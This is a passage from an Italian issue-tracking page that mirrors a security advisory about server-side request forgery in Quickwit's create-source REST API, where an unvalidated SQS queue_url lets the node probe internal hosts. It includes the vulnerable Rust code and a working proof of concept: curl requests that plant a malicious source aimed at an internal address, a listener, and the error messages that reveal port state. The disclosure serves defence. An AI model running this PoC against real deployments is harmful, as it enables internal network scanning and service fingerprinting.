Server-Side Request Forgery via unvalidated SQS source `queue_url` in the create-source REST API
I maintainer di solito rispondono entro 1 giorno
@trinity-1686a ci sta già lavorando.
Dal 18/8/2026.
Valutazione
Questa issue non è ancora stata valutata.
Descrizione
reported on 21 June 2026 via email and then via https://github.com/quickwit-oss/quickwit/security/advisories/GHSA-4vcq-7f93-fpj7.
Summary
The POST /api/v1/indexes/{index_id}/sources REST endpoint accepts a file source that uses SQS notifications. The queue_url field of that source is used verbatim as the HTTP endpoint of the AWS SQS client, with no host, scheme, or destination validation. Creating such a source triggers a synchronous connectivity check that issues an HTTP request to whatever host and port the caller put in queue_url. An attacker who can reach the Quickwit REST API (which in the default OSS deployment has no authentication) can therefore force the Quickwit node to send server-side requests to arbitrary internal hosts and ports. The internal service response is reflected back through the API error message, and open, closed, and filtered ports produce distinct errors, making this a usable internal network scanner and service-fingerprinting primitive.
Details
The create-source handler only rejects the local Filepath file source. It does not restrict the SQS notification file source:
quickwit/quickwit-serve/src/index_api/source_resource.rs
fn check_source_type(source_params: &SourceParams) -> Result<(), IndexServiceError> {
if let SourceParams::File(FileSourceParams::Filepath(_)) = source_params {
return Err(IndexServiceError::InvalidConfig(anyhow::anyhow!(
"path based file sources are limited to a local usage, ..."
)));
}
Ok(())
}
SourceParams::File(FileSourceParams::Notifications(Sqs(..))) passes this check and is accepted.
add_source then runs a connectivity check synchronously, inside the same HTTP request, before persisting anything:
quickwit/quickwit-index-management/src/index.rs
pub async fn add_source(&mut self, index_uid: IndexUid, source_config: SourceConfig)
-> Result<SourceConfig, IndexServiceError> {
...
check_source_connectivity(&self.storage_resolver, &source_config)
.await
.map_err(IndexServiceError::InvalidConfig)?;
...
}
check_source_connectivity calls the SQS connectivity check with the caller-supplied queue_url:
quickwit/quickwit-indexing/src/source/mod.rs
SourceParams::File(FileSourceParams::Notifications(FileSourceNotification::Sqs(sqs_config))) => {
#[cfg(feature = "sqs")]
{
queue_sources::sqs_queue::check_connectivity(&sqs_config.queue_url).await?;
Ok(())
}
}
The SQS endpoint is then derived from queue_url with a permissive regex that accepts any http(s)://host[:port], and is set as the SDK endpoint URL:
quickwit/quickwit-indexing/src/source/queue_sources/sqs_queue.rs
fn queue_url_endpoint(queue_url: &str) -> anyhow::Result<String> {
let re = Regex::new(r"(^https?://[^/]+)").unwrap();
let caps = re.captures(queue_url).context("Invalid queue URL")?;
let endpoint_str = caps.get(1).context("Invalid queue URL")?.as_str();
Ok(endpoint_str.to_string())
}
pub async fn get_sqs_client(queue_url: &str) -> anyhow::Result<Client> {
let mut sqs_config = preconfigured_builder().await?;
let inferred_region = queue_url_region(queue_url).unwrap_or(DEFAULT_AWS_REGION);
let inferred_endpoint = queue_url_endpoint(queue_url)?;
sqs_config.set_region(Some(inferred_region));
sqs_config.set_endpoint_url(Some(inferred_endpoint)); // attacker-controlled
Ok(Client::from_conf(sqs_config.build()))
}
pub(crate) async fn check_connectivity(queue_url: &str) -> anyhow::Result<()> {
let client = get_sqs_client(queue_url).await?;
client.get_queue_attributes().queue_url(queue_url).send().await?; // SSRF egress
Ok(())
}
There is no allowlist of permitted endpoints, no restriction to the real *.amazonaws.com SQS hostnames, and no block of private, loopback, or link-local address ranges. The endpoint host and port are taken directly from attacker input.
The SQS source is compiled into every official build. The Dockerfile builds with CARGO_FEATURES=release-feature-set, and every release feature set includes quickwit-indexing/sqs:
quickwit/quickwit-cli/Cargo.toml
release-feature-set = [
...
"quickwit-indexing/sqs",
...
]
The error from the internal request is surfaced to the caller as IndexServiceError::InvalidConfig, which is returned in the HTTP response body. This reflects connection state and partial response content (for example a parse error quoting the first unexpected byte of the internal service response), giving an oracle for port state and service type.
PoC
This was validated against the official quickwit/quickwit:edge image.
- Run a single Quickwit node. On a real AWS deployment the node already has IAM credentials; to reproduce off-AWS, provide any non-empty static credentials (they only need to exist so the SDK signs the request, the attacker-controlled target does not validate the signature):
docker run -d --name qw \
-e AWS_ACCESS_KEY_ID=AKIADUMMYDUMMYDUMMY \
-e AWS_SECRET_ACCESS_KEY=dummydummydummydummydummydummydummydummy \
-e AWS_REGION=us-east-1 \
-p 127.0.0.1:7280:7280 quickwit/quickwit:edge run
- Start a listener that represents an internal-only service the API caller should not be able to reach (here on the docker host, reachable from the container at 172.17.0.1):
python3 -c '
import socket
s=socket.socket(); s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
s.bind(("0.0.0.0",9999)); s.listen(1)
print("listening")
c,a=s.accept(); print(c.recv(4096).decode("latin1"))
'
- Create an index, then create the malicious source. The
queue_urlpoints at the internal target:
curl -s -XPOST -H "Content-Type: application/yaml" --data-binary @- \
http://127.0.0.1:7280/api/v1/indexes <<'EOF'
version: 0.8
index_id: ssrf-test
doc_mapping:
field_mappings:
- name: body
type: text
EOF
curl -s -XPOST -H "Content-Type: application/yaml" --data-binary @- \
http://127.0.0.1:7280/api/v1/indexes/ssrf-test/sources <<'EOF'
version: 0.8
source_id: ssrf-sqs
source_type: file
num_pipelines: 1
params:
notifications:
- type: sqs
queue_url: http://172.17.0.1:9999/000000000000/internal-queue
message_type: raw_uri
EOF
- Observed result. The listener receives a real request originating from the Quickwit node:
POST / HTTP/1.1
content-type: application/x-amz-json-1.0
x-amz-target: AmazonSQS.GetQueueAttributes
user-agent: aws-sdk-rust/1.3.15 os/linux lang/rust/1.95.0
host: 172.17.0.1:9999
{"QueueUrl":"http://172.17.0.1:9999/000000000000/internal-queue"}
- Oracle. The API response distinguishes target state:
- Open port returning non-SQS data:
service error: unhandled error: Error at offset 0: unexpected token '<'(reflects the internal response content). - Closed port:
dispatch failure: io error: client error (Connect): tcp connect error: Connection refused (os error 111). - Filtered or unroutable host: request hangs until timeout.
Iterating the host and port lets an API caller map internal services reachable from the Quickwit node.
- Lingua principale
- Rust
- Stelle
- 11.8k
- Fork
- 628
- Merge medio
- 2g 22h
- PR unite (30g)
- 50
Preparare l'ambiente
Avvia il container di sviluppo del progetto nel browser, con il tuo account GitHub.
- Include un Dockerfile o un file Docker Compose
- Ha un modello di pull request
- Leggi la guida per i contributori
Come iniziare
- Leggi tutta la issue e poi la guida ai contributi del progetto.
- Commenta sulla issue per dire che te ne occupi tu — evita che due persone facciano lo stesso lavoro.
- Fai un fork del repository e lavora su un branch.
- Apri una pull request che faccia riferimento al numero della issue.
Altre issue di quickwit-oss/quickwit
-
area:otel documentation
Difficoltà 2/5 1-3 ore Idoneità per principianti 68/100
quickwit-oss/quickwit#6686 ·
I maintainer di solito rispondono entro 1 giorno
-
Add some examples of requests in the REST API reference docsForse già presa @Cunninger l’ha presa 88 giorni fa. Apertaenhancement good first issue
Difficoltà 2/5 1-3 ore Idoneità per principianti 78/100
quickwit-oss/quickwit#4266 · 1 commento ·
I maintainer di solito rispondono entro 1 giorno
-
documentation
Difficoltà 1/5 Meno di un'ora Idoneità per principianti 65/100
quickwit-oss/quickwit#3872 ·
I maintainer di solito rispondono entro 1 giorno
-
Update docs on range queriesApertadocumentation
Difficoltà 1/5 Meno di un'ora Idoneità per principianti 65/100
quickwit-oss/quickwit#3666 ·
I maintainer di solito rispondono entro 1 giorno
-
enhancement
Difficoltà 2/5 1-3 ore Idoneità per principianti 65/100
quickwit-oss/quickwit#2769 ·
I maintainer di solito rispondono entro 1 giorno
Tutte le issue di quickwit-oss/quickwit
Issue simili
-
p2 ready-mac
Difficoltà 2/5 1-3 ore Idoneità per principianti 75/100
I maintainer di solito rispondono entro 1 giorno
-
Difficoltà 2/5 1-3 ore Idoneità per principianti 82/100
quickwit-oss/tantivy#3299 ·
I maintainer di solito rispondono entro 1 giorno
-
`stream enable` fails with "already enabled" on every fresh session since streaming became always-onAperta
Difficoltà 2/5 1-3 ore Idoneità per principianti 70/100
vercel-labs/agent-browser#2797 ·
I maintainer di solito rispondono entro 1 giorno
-
Difficoltà 2/5 1-3 ore Idoneità per principianti 66/100
witchesofthehill/manabrew#1309 ·
I maintainer di solito rispondono entro 1 giorno
-
bug help wanted ui
Difficoltà 2/5 1-3 ore Idoneità per principianti 82/100
userFRM/egui-charts#4494 ·
I maintainer di solito rispondono entro 1 giorno